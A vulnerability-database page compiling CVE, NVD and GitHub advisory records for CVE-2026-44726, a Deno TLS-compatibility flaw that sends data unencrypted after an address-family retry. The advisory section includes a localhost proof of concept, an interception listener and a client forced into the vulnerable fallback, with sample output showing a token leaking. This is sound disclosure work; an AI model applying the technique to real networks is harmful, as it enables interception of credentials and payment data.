Vulnerability-Lookup

CVE-2026-44726 (GCVE-0-2026-44726)

Vulnerability from cvelistv5 – Published: 2026-06-23 17:24 – Updated: 2026-06-25 13:48

Title

Deno: TLS retry copies stale upgrade hook, risking plaintext traffic

Summary

Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.

Severity

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-25 03:55 UTC

CWE

CWE-319 - Cleartext Transmission of Sensitive Information

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8026 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/denoland/deno/security/advisor…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
denoland	deno	Affected: >= 2.0.0, < 2.7.8	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44726",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T03:55:51.795074Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-25T13:48:50.170Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "deno",
          "vendor": "denoland",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.7.8"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno\u0027s Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-319",
              "description": "CWE-319: Cleartext Transmission of Sensitive Information",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-23T17:24:02.702Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
        }
      ],
      "source": {
        "advisory": "GHSA-chqv-56wv-7564",
        "discovery": "UNKNOWN"
      },
      "title": "Deno: TLS retry copies stale upgrade hook, risking plaintext traffic"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44726",
    "datePublished": "2026-06-23T17:24:02.702Z",
    "dateReserved": "2026-05-07T18:04:17.308Z",
    "dateUpdated": "2026-06-25T13:48:50.170Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-44726",
      "date": "2026-11-05",
      "epss": "0.00234",
      "percentile": "0.14429"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "deno",
                "vendor": "denoland",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 2.0.0, \u003c 2.7.8"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "CA8392FC-2247-4255-A9DA-3DC08146AF63",
                    "versionEndExcluding": "2.7.8",
                    "versionStartIncluding": "2.0.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno\u0027s Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8."
          },
          {
            "lang": "es",
            "value": "Deno es un entorno de ejecuci\u00f3n de JavaScript, TypeScript y WebAssembly. Desde 2.0.0 hasta 2.7.8, un fallo en la capa de compatibilidad TLS de Node.js de Deno podr\u00eda causar que un cliente TLS transmita datos de aplicaci\u00f3n en texto plano despu\u00e9s de un reintento de conexi\u00f3n. Cuando \u2019autoSelectFamily\u2019 estaba habilitado y el primer intento de familia de direcciones fall\u00f3, la ruta de reinicializaci\u00f3n del socket reutiliz\u00f3 un \u2019hook\u2019 de actualizaci\u00f3n TLS obsoleto que estaba vinculado al \u2019handle\u2019 original y fallido. Como resultado, la conexi\u00f3n TCP de reemplazo nunca se actualiz\u00f3 a TLS, y cualquier dato que la aplicaci\u00f3n escribi\u00f3 antes del evento secureConnect viaj\u00f3 por la red sin cifrar. Un atacante de red posicionado para causar que el intento de conexi\u00f3n inicial fallara (por ejemplo, al descartar tr\u00e1fico IPv6 en un host de doble pila) podr\u00eda activar de forma determinista la ruta de respaldo y observar o manipular el tr\u00e1fico que la aplicaci\u00f3n cre\u00eda que estaba protegido por TLS. Esta vulnerabilidad est\u00e1 corregida en 2.7.8."
          }
        ],
        "id": "CVE-2026-44726",
        "lastModified": "2026-10-25T23:10:00.167",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.4,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.2,
              "impactScore": 5.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 9.1,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.2,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-44726",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T03:55:51.795074Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-06-23T18:17:48.623",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-319"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-44726",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-25T03:55:51.795074Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-24T14:24:10.390Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "deno",
              "vendor": "denoland",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 2.0.0, \u003c 2.7.8"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno\u0027s Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.4,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-319",
                  "description": "CWE-319: Cleartext Transmission of Sensitive Information",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-23T17:24:02.702Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
            }
          ],
          "source": {
            "advisory": "GHSA-chqv-56wv-7564",
            "discovery": "UNKNOWN"
          },
          "title": "Deno: TLS retry copies stale upgrade hook, risking plaintext traffic"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-44726",
        "datePublished": "2026-06-23T17:24:02.702Z",
        "dateReserved": "2026-05-07T18:04:17.308Z",
        "dateUpdated": "2026-06-25T13:48:50.170Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-44726

Vulnerability from fkie_nvd - Published: 2026-06-23 18:17 - Updated: 2026-10-25 23:10

Severity

7.4 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	deno	deno	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "deno",
          "vendor": "denoland",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.7.8"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CA8392FC-2247-4255-A9DA-3DC08146AF63",
              "versionEndExcluding": "2.7.8",
              "versionStartIncluding": "2.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno\u0027s Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8."
    },
    {
      "lang": "es",
      "value": "Deno es un entorno de ejecuci\u00f3n de JavaScript, TypeScript y WebAssembly. Desde 2.0.0 hasta 2.7.8, un fallo en la capa de compatibilidad TLS de Node.js de Deno podr\u00eda causar que un cliente TLS transmita datos de aplicaci\u00f3n en texto plano despu\u00e9s de un reintento de conexi\u00f3n. Cuando \u2019autoSelectFamily\u2019 estaba habilitado y el primer intento de familia de direcciones fall\u00f3, la ruta de reinicializaci\u00f3n del socket reutiliz\u00f3 un \u2019hook\u2019 de actualizaci\u00f3n TLS obsoleto que estaba vinculado al \u2019handle\u2019 original y fallido. Como resultado, la conexi\u00f3n TCP de reemplazo nunca se actualiz\u00f3 a TLS, y cualquier dato que la aplicaci\u00f3n escribi\u00f3 antes del evento secureConnect viaj\u00f3 por la red sin cifrar. Un atacante de red posicionado para causar que el intento de conexi\u00f3n inicial fallara (por ejemplo, al descartar tr\u00e1fico IPv6 en un host de doble pila) podr\u00eda activar de forma determinista la ruta de respaldo y observar o manipular el tr\u00e1fico que la aplicaci\u00f3n cre\u00eda que estaba protegido por TLS. Esta vulnerabilidad est\u00e1 corregida en 2.7.8."
    }
  ],
  "id": "CVE-2026-44726",
  "lastModified": "2026-10-25T23:10:00.167",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44726",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-25T03:55:51.795074Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-23T18:17:48.623",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-319"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-CHQV-56WV-7564

Vulnerability from github – Published: 2026-05-27 19:51 – Updated: 2026-07-20 13:42

Summary

Deno's TLS retry copies stale upgrade hook, risking plaintext traffic

Details

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)

import net from "node:net";

const server = net.createServer((socket) => {
  console.log("[attacker] client connected from", socket.remoteAddress);
  socket.on("data", (chunk) => {
    // If TLS were working, this would be an opaque ClientHello.
    // If the bug fires, we see the application payload in cleartext.
    console.log("[attacker] received", chunk.length, "bytes:");
    console.log(chunk.toString("utf8"));
  });
});

server.listen(4444, "127.0.0.1", () => {
  console.log("[attacker] listening on 127.0.0.1:4444");
});

victim.mjs (a normal-looking TLS client)

import tls from "node:tls";

const socket = tls.connect({
  host: "api.example.invalid",
  port: 4444,
  autoSelectFamily: true, // Node-compat default

  // First address is a black hole (nothing on [::1]:4444),
  // so autoSelectFamily falls back to the second address.
  // In a real attack, the on-path attacker arranges this via
  // routing, DNS, or by dropping the first SYN.
  lookup: (_host, _opts, cb) => {
    cb(null, [
      { address: "::1",       family: 6 }, // fails -> retry
      { address: "127.0.0.1", family: 4 }, // attacker
    ]);
  },

  rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",         (e) => console.log("[victim] error:", e.message));

In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...

The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-319"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T19:51:46Z",
    "nvd_published_at": "2026-06-23T18:17:48Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA flaw in Deno\u0027s Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno\u0027s `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) =\u003e {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) =\u003e {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () =\u003e {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) =\u003e {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -\u003e retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect \u2014 common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () =\u003e console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) =\u003e console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (\u2265 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 \u2026`), and the victim eventually errors out because the attacker isn\u0027t speaking TLS.\n\nOn a vulnerable Deno (\u2265 2.0.0, \u003c 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.",
  "id": "GHSA-chqv-56wv-7564",
  "modified": "2026-07-20T13:42:41Z",
  "published": "2026-05-27T19:51:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44726"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno\u0027s TLS retry copies stale upgrade hook, risking plaintext traffic"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-44726 (GCVE-0-2026-44726)

FKIE_CVE-2026-44726

GHSA-CHQV-56WV-7564

Summary

Proof of concept

Expected vs. observed

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour